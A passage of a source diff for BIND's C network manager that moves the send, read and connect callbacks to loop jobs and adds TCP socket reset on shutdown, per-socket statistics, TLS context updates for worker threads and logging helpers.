-		isc__nm_async_readcb(NULL, (isc__netievent_t *)&ievent);
-	} else {
-		isc__netievent_readcb_t *ievent = isc__nm_get_netievent_readcb(
-			sock->mgr, sock, uvreq, eresult);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
+	if (!async) {
+		isc___nm_connectcb(uvreq);
+		return;
 	}
-}
 
-void
-isc__nm_async_readcb(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_readcb_t *ievent = (isc__netievent_readcb_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-	isc_result_t eresult = ievent->result;
-	isc_region_t region = { .base = (unsigned char *)uvreq->uvbuf.base,
-				.length = uvreq->uvbuf.len };
-
-	UNUSED(worker);
+	isc_job_run(sock->worker->loop, &uvreq->job, isc___nm_connectcb, uvreq);
+}
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(uvreq));
-	REQUIRE(VALID_NMHANDLE(uvreq->handle));
-	REQUIRE(sock->tid == isc_nm_tid());
+static void
+isc___nm_readcb(void *arg) {
+	isc__nm_uvreq_t *uvreq = arg;
+	isc_region_t region;
 
-	uvreq->cb.recv(uvreq->handle, eresult, &region, uvreq->cbarg);
+	region.base = (unsigned char *)uvreq->uvbuf.base;
+	region.length = uvreq->uvbuf.len;
+	uvreq->cb.recv(uvreq->handle, uvreq->result, &region, uvreq->cbarg);
 
-	isc__nm_uvreq_put(&uvreq, sock);
+	isc__nm_uvreq_put(&uvreq);
 }
 
 void
-isc__nm_sendcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
+isc__nm_readcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
 	       isc_result_t eresult, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(uvreq));
 	REQUIRE(VALID_NMHANDLE(uvreq->handle));
 
+	uvreq->result = eresult;
+
 	if (!async) {
-		isc__netievent_sendcb_t ievent = { .sock = sock,
-						   .req = uvreq,
-						   .result = eresult };
-		isc__nm_async_sendcb(NULL, (isc__netievent_t *)&ievent);
+		isc___nm_readcb(uvreq);
 		return;
 	}
 
-	isc__netievent_sendcb_t *ievent =
-		isc__nm_get_netievent_sendcb(sock->mgr, sock, uvreq, eresult);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+	isc_job_run(sock->worker->loop, &uvreq->job, isc___nm_readcb, uvreq);
 }
 
-void
-isc__nm_async_sendcb(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_sendcb_t *ievent = (isc__netievent_sendcb_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *uvreq = ievent->req;
-	isc_result_t eresult = ievent->result;
+static void
+isc___nm_sendcb(void *arg) {
+	isc__nm_uvreq_t *uvreq = arg;
 
-	UNUSED(worker);
+	uvreq->cb.send(uvreq->handle, uvreq->result, uvreq->cbarg);
+	isc__nm_uvreq_put(&uvreq);
+}
 
+void
+isc__nm_sendcb(isc_nmsocket_t *sock, isc__nm_uvreq_t *uvreq,
+	       isc_result_t eresult, bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(VALID_UVREQ(uvreq));
 	REQUIRE(VALID_NMHANDLE(uvreq->handle));
-	REQUIRE(sock->tid == isc_nm_tid());
 
-	uvreq->cb.send(uvreq->handle, eresult, uvreq->cbarg);
+	uvreq->result = eresult;
 
-	isc__nm_uvreq_put(&uvreq, sock);
+	if (!async) {
+		isc___nm_sendcb(uvreq);
+		return;
+	}
+
+	isc_job_run(sock->worker->loop, &uvreq->job, isc___nm_sendcb, uvreq);
 }
 
 static void
-isc__nm_async_close(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_close_t *ievent = (isc__netievent_close_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->closehandle_cb != NULL);
-
-	UNUSED(worker);
+reset_shutdown(uv_handle_t *handle) {
+	isc_nmsocket_t *sock = uv_handle_get_data(handle);
 
-	ievent->sock->closehandle_cb(sock);
+	isc__nmsocket_shutdown(sock);
+	isc__nmsocket_detach(&sock);
 }
 
 void
-isc__nm_async_detach(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_detach_t *ievent = (isc__netievent_detach_t *)ev0;
-	FLARG_IEVENT(ievent);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(VALID_NMHANDLE(ievent->handle));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
+isc__nmsocket_reset(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
 
-	UNUSED(worker);
+	switch (sock->type) {
+	case isc_nm_tcpsocket:
+		/*
+		 * This can be called from the TCP write timeout.
+		 */
+		REQUIRE(sock->parent == NULL);
+		break;
+	case isc_nm_tlssocket:
+		isc__nmsocket_tls_reset(sock);
+		return;
+	case isc_nm_streamdnssocket:
+		isc__nmsocket_streamdns_reset(sock);
+		return;
+	default:
+		UNREACHABLE();
+		break;
+	}
 
-	nmhandle_detach_cb(&ievent->handle FLARG_PASS);
+	if (!uv_is_closing(&sock->uv_handle.handle) &&
+	    uv_is_active(&sock->uv_handle.handle))
+	{
+		/*
+		 * The real shutdown will be handled in the respective
+		 * close functions.
+		 */
+		isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+		int r = uv_tcp_close_reset(&sock->uv_handle.tcp,
+					   reset_shutdown);
+		UV_RUNTIME_CHECK(uv_tcp_close_reset, r);
+	} else {
+		isc__nmsocket_shutdown(sock);
+	}
 }
 
 void
@@ -2776,92 +1883,46 @@ isc__nmsocket_shutdown(isc_nmsocket_t *sock) {
 	case isc_nm_tcpsocket:
 		isc__nm_tcp_shutdown(sock);
 		break;
-	case isc_nm_tcpdnssocket:
-		isc__nm_tcpdns_shutdown(sock);
-		break;
-	case isc_nm_tlsdnssocket:
-		isc__nm_tlsdns_shutdown(sock);
-		break;
 	case isc_nm_udplistener:
 	case isc_nm_tcplistener:
-	case isc_nm_tcpdnslistener:
-	case isc_nm_tlsdnslistener:
 		return;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
 static void
 shutdown_walk_cb(uv_handle_t *handle, void *arg) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
+	isc_nmsocket_t *sock = NULL;
 	UNUSED(arg);
 
 	if (uv_is_closing(handle)) {
 		return;
 	}
 
+	sock = uv_handle_get_data(handle);
+
 	switch (handle->type) {
 	case UV_UDP:
-	case UV_TCP:
-		break;
-	default:
+		isc__nmsocket_shutdown(sock);
 		return;
-	}
-
-	isc__nmsocket_shutdown(sock);
-}
-
-void
-isc__nm_async_shutdown(isc__networker_t *worker, isc__netievent_t *ev0) {
-	UNUSED(ev0);
-	uv_walk(&worker->loop, shutdown_walk_cb, NULL);
-}
-
-bool
-isc__nm_acquire_interlocked(isc_nm_t *mgr) {
-	if (!isc__nm_in_netthread()) {
-		return (false);
-	}
-
-	LOCK(&mgr->lock);
-	bool success = atomic_compare_exchange_strong(
-		&mgr->interlocked, &(int){ ISC_NETMGR_NON_INTERLOCKED },
-		isc_nm_tid());
-
-	UNLOCK(&mgr->lock);
-	return (success);
-}
+	case UV_TCP:
+		switch (sock->type) {
+		case isc_nm_tcpsocket:
+			if (sock->parent == NULL) {
+				/* Reset the TCP connections on shutdown */
+				isc__nmsocket_reset(sock);
+				return;
+			}
+			FALLTHROUGH;
+		default:
+			isc__nmsocket_shutdown(sock);
+		}
 
-void
-isc__nm_drop_interlocked(isc_nm_t *mgr) {
-	if (!isc__nm_in_netthread()) {
 		return;
-	}
-
-	LOCK(&mgr->lock);
-	int tid = atomic_exchange(&mgr->interlocked,
-				  ISC_NETMGR_NON_INTERLOCKED);
-	INSIST(tid != ISC_NETMGR_NON_INTERLOCKED);
-	BROADCAST(&mgr->wkstatecond);
-	UNLOCK(&mgr->lock);
-}
-
-void
-isc__nm_acquire_interlocked_force(isc_nm_t *mgr) {
-	if (!isc__nm_in_netthread()) {
+	default:
 		return;
 	}
-
-	LOCK(&mgr->lock);
-	while (!atomic_compare_exchange_strong(
-		&mgr->interlocked, &(int){ ISC_NETMGR_NON_INTERLOCKED },
-		isc_nm_tid()))
-	{
-		WAIT(&mgr->wkstatecond, &mgr->lock);
-	}
-	UNLOCK(&mgr->lock);
 }
 
 void
@@ -2874,227 +1935,64 @@ isc_nm_setstats(isc_nm_t *mgr, isc_stats_t *stats) {
 }
 
 void
-isc__nm_incstats(isc_nm_t *mgr, isc_statscounter_t counterid) {
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(counterid != -1);
+isc__nm_incstats(isc_nmsocket_t *sock, isc__nm_statid_t id) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(id < STATID_MAX);
 
-	if (mgr->stats != NULL) {
-		isc_stats_increment(mgr->stats, counterid);
+	if (sock->statsindex != NULL && sock->worker->netmgr->stats != NULL) {
+		isc_stats_increment(sock->worker->netmgr->stats,
+				    sock->statsindex[id]);
 	}
 }
 
 void
-isc__nm_decstats(isc_nm_t *mgr, isc_statscounter_t counterid) {
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(counterid != -1);
-
-	if (mgr->stats != NULL) {
-		isc_stats_decrement(mgr->stats, counterid);
-	}
-}
+isc__nm_decstats(isc_nmsocket_t *sock, isc__nm_statid_t id) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(id < STATID_MAX);
 
-isc_result_t
-isc__nm_socket(int domain, int type, int protocol, uv_os_sock_t *sockp) {
-	int sock = socket(domain, type, protocol);
-	if (sock < 0) {
-		return (isc_errno_toresult(errno));
+	if (sock->statsindex != NULL && sock->worker->netmgr->stats != NULL) {
+		isc_stats_decrement(sock->worker->netmgr->stats,
+				    sock->statsindex[id]);
 	}
-
-	*sockp = (uv_os_sock_t)sock;
-	return (ISC_R_SUCCESS);
-}
-
-void
-isc__nm_closesocket(uv_os_sock_t sock) {
-	close(sock);
 }
 
-#define setsockopt_on(socket, level, name) \
-	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
-
-#define setsockopt_off(socket, level, name) \
-	setsockopt(socket, level, name, &(int){ 0 }, sizeof(int))
-
 isc_result_t
-isc__nm_socket_freebind(uv_os_sock_t fd, sa_family_t sa_family) {
-	/*
-	 * Set the IP_FREEBIND (or equivalent option) on the uv_handle.
-	 */
-#ifdef IP_FREEBIND
-	UNUSED(sa_family);
-	if (setsockopt_on(fd, IPPROTO_IP, IP_FREEBIND) == -1) {
-		return (ISC_R_FAILURE);
-	}
-	return (ISC_R_SUCCESS);
-#elif defined(IP_BINDANY) || defined(IPV6_BINDANY)
-	if (sa_family == AF_INET) {
-#if defined(IP_BINDANY)
-		if (setsockopt_on(fd, IPPROTO_IP, IP_BINDANY) == -1) {
-			return (ISC_R_FAILURE);
-		}
-		return (ISC_R_SUCCESS);
-#endif
-	} else if (sa_family == AF_INET6) {
-#if defined(IPV6_BINDANY)
-		if (setsockopt_on(fd, IPPROTO_IPV6, IPV6_BINDANY) == -1) {
-			return (ISC_R_FAILURE);
-		}
-		return (ISC_R_SUCCESS);
-#endif
-	}
-	return (ISC_R_NOTIMPLEMENTED);
-#elif defined(SO_BINDANY)
-	UNUSED(sa_family);
-	if (setsockopt_on(fd, SOL_SOCKET, SO_BINDANY) == -1) {
-		return (ISC_R_FAILURE);
-	}
-	return (ISC_R_SUCCESS);
-#else
-	UNUSED(fd);
-	UNUSED(sa_family);
-	return (ISC_R_NOTIMPLEMENTED);
-#endif
-}
+isc_nm_checkaddr(const isc_sockaddr_t *addr, isc_socktype_t type) {
+	int proto, pf, addrlen, fd, r;
 
-isc_result_t
-isc__nm_socket_reuse(uv_os_sock_t fd) {
-	/*
-	 * Generally, the SO_REUSEADDR socket option allows reuse of
-	 * local addresses.
-	 *
-	 * On the BSDs, SO_REUSEPORT implies SO_REUSEADDR but with some
-	 * additional refinements for programs that use multicast.
-	 *
-	 * On Linux, SO_REUSEPORT has different semantics: it _shares_ the port
-	 * rather than steal it from the current listener, so we don't use it
-	 * here, but rather in isc__nm_socket_reuse_lb().
-	 *
-	 * On Windows, it also allows a socket to forcibly bind to a port in use
-	 * by another socket.
-	 */
+	REQUIRE(addr != NULL);
 
-#if defined(SO_REUSEPORT) && !defined(__linux__)
-	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT) == -1) {
-		return (ISC_R_FAILURE);
-	}
-	return (ISC_R_SUCCESS);
-#elif defined(SO_REUSEADDR)
-	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEADDR) == -1) {
-		return (ISC_R_FAILURE);
+	switch (type) {
+	case isc_socktype_tcp:
+		proto = SOCK_STREAM;
+		break;
+	case isc_socktype_udp:
+		proto = SOCK_DGRAM;
+		break;
+	default:
+		return (ISC_R_NOTIMPLEMENTED);
 	}
-	return (ISC_R_SUCCESS);
-#else
-	UNUSED(fd);
-	return (ISC_R_NOTIMPLEMENTED);
-#endif
-}
 
-isc_result_t
-isc__nm_socket_reuse_lb(uv_os_sock_t fd) {
-	/*
-	 * On FreeBSD 12+, SO_REUSEPORT_LB socket option allows sockets to be
-	 * bound to an identical socket address. For UDP sockets, the use of
-	 * this option can provide better distribution of incoming datagrams to
-	 * multiple processes (or threads) as compared to the traditional
-	 * technique of having multiple processes compete to receive datagrams
-	 * on the same socket.
-	 *
-	 * On Linux, the same thing is achieved simply with SO_REUSEPORT.
-	 */
-#if defined(SO_REUSEPORT_LB)
-	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT_LB) == -1) {
-		return (ISC_R_FAILURE);
+	pf = isc_sockaddr_pf(addr);
+	if (pf == AF_INET) {
+		addrlen = sizeof(struct sockaddr_in);
 	} else {
-		return (ISC_R_SUCCESS);
-	}
-#elif defined(SO_REUSEPORT) && defined(__linux__)
-	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT) == -1) {
-		return (ISC_R_FAILURE);
-	} else {
-		return (ISC_R_SUCCESS);
+		addrlen = sizeof(struct sockaddr_in6);
 	}
-#else
-	UNUSED(fd);
-	return (ISC_R_NOTIMPLEMENTED);
-#endif
-}
 
-isc_result_t
-isc__nm_socket_incoming_cpu(uv_os_sock_t fd) {
-#ifdef SO_INCOMING_CPU
-	if (setsockopt_on(fd, SOL_SOCKET, SO_INCOMING_CPU) == -1) {
-		return (ISC_R_FAILURE);
-	} else {
-		return (ISC_R_SUCCESS);
+	fd = socket(pf, proto, 0);
+	if (fd < 0) {
+		return (isc_errno_toresult(errno));
 	}
-#else
-	UNUSED(fd);
-#endif
-	return (ISC_R_NOTIMPLEMENTED);
-}
 
-isc_result_t
-isc__nm_socket_dontfrag(uv_os_sock_t fd, sa_family_t sa_family) {
-	/*
-	 * Set the Don't Fragment flag on IP packets
-	 */
-	if (sa_family == AF_INET6) {
-#if defined(IPV6_DONTFRAG)
-		if (setsockopt_off(fd, IPPROTO_IPV6, IPV6_DONTFRAG) == -1) {
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#elif defined(IPV6_MTU_DISCOVER) && defined(IP_PMTUDISC_OMIT)
-		if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU_DISCOVER,
-			       &(int){ IP_PMTUDISC_OMIT }, sizeof(int)) == -1)
-		{
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#elif defined(IPV6_MTU_DISCOVER) && defined(IP_PMTUDISC_DONT)
-		if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU_DISCOVER,
-			       &(int){ IP_PMTUDISC_DONT }, sizeof(int)) == -1)
-		{
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#else
-		UNUSED(fd);
-#endif
-	} else if (sa_family == AF_INET) {
-#if defined(IP_DONTFRAG)
-		if (setsockopt_off(fd, IPPROTO_IP, IP_DONTFRAG) == -1) {
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#elif defined(IP_MTU_DISCOVER) && defined(IP_PMTUDISC_OMIT)
-		if (setsockopt(fd, IPPROTO_IP, IP_MTU_DISCOVER,
-			       &(int){ IP_PMTUDISC_OMIT }, sizeof(int)) == -1)
-		{
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#elif defined(IP_MTU_DISCOVER) && defined(IP_PMTUDISC_DONT)
-		if (setsockopt(fd, IPPROTO_IP, IP_MTU_DISCOVER,
-			       &(int){ IP_PMTUDISC_DONT }, sizeof(int)) == -1)
-		{
-			return (ISC_R_FAILURE);
-		} else {
-			return (ISC_R_SUCCESS);
-		}
-#else
-		UNUSED(fd);
-#endif
-	} else {
-		return (ISC_R_FAMILYNOSUPPORT);
+	r = bind(fd, (const struct sockaddr *)&addr->type.sa, addrlen);
+	if (r < 0) {
+		close(fd);
+		return (isc_errno_toresult(errno));
 	}
 
-	return (ISC_R_NOTIMPLEMENTED);
+	close(fd);
+	return (ISC_R_SUCCESS);
 }
 
 #if defined(TCP_CONNECTIONTIMEOUT)
@@ -3115,44 +2013,6 @@ isc__nm_socket_dontfrag(uv_os_sock_t fd, sa_family_t sa_family) {
 #define TIMEOUT_OPTNAME TCP_KEEPINIT
 #endif
 
-isc_result_t
-isc__nm_socket_connectiontimeout(uv_os_sock_t fd, int timeout_ms) {
-#if defined(TIMEOUT_OPTNAME)
-	TIMEOUT_TYPE timeout = timeout_ms / TIMEOUT_DIV;
-
-	if (timeout == 0) {
-		timeout = 1;
-	}
-
-	if (setsockopt(fd, IPPROTO_TCP, TIMEOUT_OPTNAME, &timeout,
-		       sizeof(timeout)) == -1)
-	{
-		return (ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-#else
-	UNUSED(fd);
-	UNUSED(timeout_ms);
-
-	return (ISC_R_SUCCESS);
-#endif
-}
-
-isc_result_t
-isc__nm_socket_tcp_nodelay(uv_os_sock_t fd) {
-#ifdef TCP_NODELAY
-	if (setsockopt_on(fd, IPPROTO_TCP, TCP_NODELAY) == -1) {
-		return (ISC_R_FAILURE);
-	} else {
-		return (ISC_R_SUCCESS);
-	}
-#else
-	UNUSED(fd);
-	return (ISC_R_SUCCESS);
-#endif
-}
-
 void
 isc__nm_set_network_buffers(isc_nm_t *nm, uv_handle_t *handle) {
 	int32_t recv_buffer_size = 0;
@@ -3172,89 +2032,417 @@ isc__nm_set_network_buffers(isc_nm_t *nm, uv_handle_t *handle) {
 			atomic_load_relaxed(&nm->send_udp_buffer_size);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (recv_buffer_size > 0) {
 		int r = uv_recv_buffer_size(handle, &recv_buffer_size);
-		INSIST(r == 0);
+		UV_RUNTIME_CHECK(uv_recv_buffer_size, r);
 	}
 
 	if (send_buffer_size > 0) {
 		int r = uv_send_buffer_size(handle, &send_buffer_size);
-		INSIST(r == 0);
+		UV_RUNTIME_CHECK(uv_send_buffer_size, r);
 	}
 }
 
-static isc_threadresult_t
-isc__nm_work_run(isc_threadarg_t arg) {
-	isc__nm_work_t *work = (isc__nm_work_t *)arg;
+void
+isc_nm_bad_request(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	work->cb(work->data);
+	sock = handle->sock;
 
-	return ((isc_threadresult_t)0);
+	switch (sock->type) {
+	case isc_nm_udpsocket:
+		return;
+	case isc_nm_tcpsocket:
+	case isc_nm_streamdnssocket:
+	case isc_nm_tlssocket:
+		REQUIRE(sock->parent == NULL);
+		isc__nmsocket_reset(sock);
+		return;
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httpsocket:
+		isc__nm_http_bad_request(handle);
+		return;
+#endif /* HAVE_LIBNGHTTP2 */
+	default:
+		UNREACHABLE();
+		break;
+	}
 }
 
-static void
-isc__nm_work_cb(uv_work_t *req) {
-	isc__nm_work_t *work = uv_req_get_data((uv_req_t *)req);
+isc_result_t
+isc_nm_xfr_checkperm(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+	isc_result_t result = ISC_R_NOPERM;
 
-	if (isc_tid_v == SIZE_MAX) {
-		isc__trampoline_t *trampoline_arg =
-			isc__trampoline_get(isc__nm_work_run, work);
-		(void)isc__trampoline_run(trampoline_arg);
-	} else {
-		(void)isc__nm_work_run((isc_threadarg_t)work);
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+
+	switch (sock->type) {
+	case isc_nm_streamdnssocket:
+		result = isc__nm_streamdns_xfr_checkperm(sock);
+		break;
+	default:
+		break;
 	}
+
+	return (result);
+}
+
+bool
+isc_nm_is_http_handle(isc_nmhandle_t *handle) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	return (handle->sock->type == isc_nm_httpsocket);
 }
 
+void
+isc_nm_set_maxage(isc_nmhandle_t *handle, const uint32_t ttl) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(!handle->sock->client);
+
+#if !HAVE_LIBNGHTTP2
+	UNUSED(ttl);
+#endif
+
+	sock = handle->sock;
+	switch (sock->type) {
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httpsocket:
+		isc__nm_http_set_maxage(handle, ttl);
+		break;
+#endif /* HAVE_LIBNGHTTP2 */
+	case isc_nm_udpsocket:
+	case isc_nm_streamdnssocket:
+		return;
+		break;
+	case isc_nm_tcpsocket:
+	case isc_nm_tlssocket:
+	default:
+		UNREACHABLE();
+		break;
+	}
+}
+
+isc_nmsocket_type
+isc_nm_socket_type(const isc_nmhandle_t *handle) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	return (handle->sock->type);
+}
+
+bool
+isc_nm_has_encryption(const isc_nmhandle_t *handle) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	switch (handle->sock->type) {
+	case isc_nm_tlssocket:
+		return (true);
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httpsocket:
+		return (isc__nm_http_has_encryption(handle));
+#endif /* HAVE_LIBNGHTTP2 */
+	case isc_nm_streamdnssocket:
+		return (isc__nm_streamdns_has_encryption(handle));
+	default:
+		return (false);
+	};
+
+	return (false);
+}
+
+const char *
+isc_nm_verify_tls_peer_result_string(const isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	sock = handle->sock;
+	switch (sock->type) {
+	case isc_nm_tlssocket:
+		return (isc__nm_tls_verify_tls_peer_result_string(handle));
+		break;
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httpsocket:
+		return (isc__nm_http_verify_tls_peer_result_string(handle));
+		break;
+#endif /* HAVE_LIBNGHTTP2 */
+	case isc_nm_streamdnssocket:
+		return (isc__nm_streamdns_verify_tls_peer_result_string(
+			handle));
+		break;
+	default:
+		break;
+	}
+
+	return (NULL);
+}
+
+typedef struct settlsctx_data {
+	isc_nmsocket_t *listener;
+	isc_tlsctx_t *tlsctx;
+} settlsctx_data_t;
+
 static void
-isc__nm_after_work_cb(uv_work_t *req, int status) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc__nm_work_t *work = uv_req_get_data((uv_req_t *)req);
-	isc_nm_t *netmgr = work->netmgr;
+settlsctx_cb(void *arg) {
+	settlsctx_data_t *data = arg;
+	const uint32_t tid = isc_tid();
+	isc_nmsocket_t *listener = data->listener;
+	isc_tlsctx_t *tlsctx = data->tlsctx;
+	isc__networker_t *worker = &listener->worker->netmgr->workers[tid];
+
+	isc_mem_put(worker->loop->mctx, data, sizeof(*data));
+
+	REQUIRE(listener->type == isc_nm_tlslistener);
+
+	isc__nm_async_tls_set_tlsctx(listener, tlsctx, tid);
+
+	isc__nmsocket_detach(&listener);
+	isc_tlsctx_free(&tlsctx);
+}
 
-	if (status != 0) {
-		result = isc__nm_uverr2result(status);
+static void
+set_tlsctx_workers(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx) {
+	const size_t nworkers =
+		(size_t)isc_loopmgr_nloops(listener->worker->netmgr->loopmgr);
+	/* Update the TLS context reference for every worker thread. */
+	for (size_t i = 0; i < nworkers; i++) {
+		isc__networker_t *worker =
+			&listener->worker->netmgr->workers[i];
+		settlsctx_data_t *data = isc_mem_cget(worker->loop->mctx, 1,
+						      sizeof(*data));
+
+		isc__nmsocket_attach(listener, &data->listener);
+		isc_tlsctx_attach(tlsctx, &data->tlsctx);
+
+		isc_async_run(worker->loop, settlsctx_cb, data);
 	}
+}
 
-	work->after_cb(work->data, result);
+void
+isc_nmsocket_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx) {
+	REQUIRE(VALID_NMSOCK(listener));
+	REQUIRE(tlsctx != NULL);
 
-	isc_mem_put(netmgr->mctx, work, sizeof(*work));
+	switch (listener->type) {
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httplistener:
+		/*
+		 * We handle HTTP listener sockets differently, as they rely
+		 * on underlying TLS sockets for networking. The TLS context
+		 * will get passed to these underlying sockets via the call to
+		 * isc__nm_http_set_tlsctx().
+		 */
+		isc__nm_http_set_tlsctx(listener, tlsctx);
+		break;
+#endif /* HAVE_LIBNGHTTP2 */
+	case isc_nm_tlslistener:
+		set_tlsctx_workers(listener, tlsctx);
+		break;
+	case isc_nm_streamdnslistener:
+		isc__nm_streamdns_set_tlsctx(listener, tlsctx);
+		break;
+	default:
+		UNREACHABLE();
+		break;
+	};
+}
+
+void
+isc_nmsocket_set_max_streams(isc_nmsocket_t *listener,
+			     const uint32_t max_streams) {
+	REQUIRE(VALID_NMSOCK(listener));
+	switch (listener->type) {
+#if HAVE_LIBNGHTTP2
+	case isc_nm_httplistener:
+		isc__nm_http_set_max_streams(listener, max_streams);
+		break;
+#endif /* HAVE_LIBNGHTTP2 */
+	default:
+		UNUSED(max_streams);
+		break;
+	};
+	return;
+}
+
+void
+isc__nmsocket_log_tls_session_reuse(isc_nmsocket_t *sock, isc_tls_t *tls) {
+	const int log_level = ISC_LOG_DEBUG(1);
+	char client_sabuf[ISC_SOCKADDR_FORMATSIZE];
+	char local_sabuf[ISC_SOCKADDR_FORMATSIZE];
+
+	REQUIRE(tls != NULL);
+
+	if (!isc_log_wouldlog(isc_lctx, log_level)) {
+		return;
+	};
 
+	isc_sockaddr_format(&sock->peer, client_sabuf, sizeof(client_sabuf));
+	isc_sockaddr_format(&sock->iface, local_sabuf, sizeof(local_sabuf));
+	isc__nmsocket_log(sock, log_level, "TLS %s session %s for %s on %s",
+			  SSL_is_server(tls) ? "server" : "client",
+			  SSL_session_reused(tls) ? "resumed" : "created",
+			  client_sabuf, local_sabuf);
+}
+
+static void
+isc__networker_destroy(isc__networker_t *worker) {
+	isc_nm_t *netmgr = worker->netmgr;
+	worker->netmgr = NULL;
+
+	isc__netmgr_log(netmgr, ISC_LOG_DEBUG(1),
+			"Destroying network manager worker on loop %p(%d)",
+			worker->loop, isc_tid());
+
+	isc_loop_detach(&worker->loop);
+
+	isc_mempool_destroy(&worker->uvreq_pool);
+
+	isc_mem_putanddetach(&worker->mctx, worker->recvbuf,
+			     ISC_NETMGR_RECVBUF_SIZE);
 	isc_nm_detach(&netmgr);
 }
 
+ISC_REFCOUNT_IMPL(isc__networker, isc__networker_destroy);
+
 void
-isc_nm_work_offload(isc_nm_t *netmgr, isc_nm_workcb_t work_cb,
-		    isc_nm_after_workcb_t after_work_cb, void *data) {
-	isc__networker_t *worker = NULL;
-	isc__nm_work_t *work = NULL;
-	int r;
+isc__netmgr_log(const isc_nm_t *netmgr, int level, const char *fmt, ...) {
+	char msgbuf[2048];
+	va_list ap;
+
+	if (!isc_log_wouldlog(isc_lctx, level)) {
+		return;
+	}
+
+	va_start(ap, fmt);
+	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	va_end(ap);
+
+	isc_log_write(isc_lctx, ISC_LOGCATEGORY_DEFAULT, ISC_LOGMODULE_NETMGR,
+		      level, "netmgr %p: %s", netmgr, msgbuf);
+}
+
+void
+isc__nmsocket_log(const isc_nmsocket_t *sock, int level, const char *fmt, ...) {
+	char msgbuf[2048];
+	va_list ap;
+
+	if (!isc_log_wouldlog(isc_lctx, level)) {
+		return;
+	}
+
+	va_start(ap, fmt);
+	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	va_end(ap);
+
+	isc_log_write(isc_lctx, ISC_LOGCATEGORY_DEFAULT, ISC_LOGMODULE_NETMGR,
+		      level, "socket %p: %s", sock, msgbuf);
+}
+
+void
+isc__nmhandle_log(const isc_nmhandle_t *handle, int level, const char *fmt,
+		  ...) {
+	char msgbuf[2048];
+	va_list ap;
+
+	if (!isc_log_wouldlog(isc_lctx, level)) {
+		return;
+	}
 
-	REQUIRE(isc__nm_in_netthread());
-	REQUIRE(VALID_NM(netmgr));
+	va_start(ap, fmt);
+	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
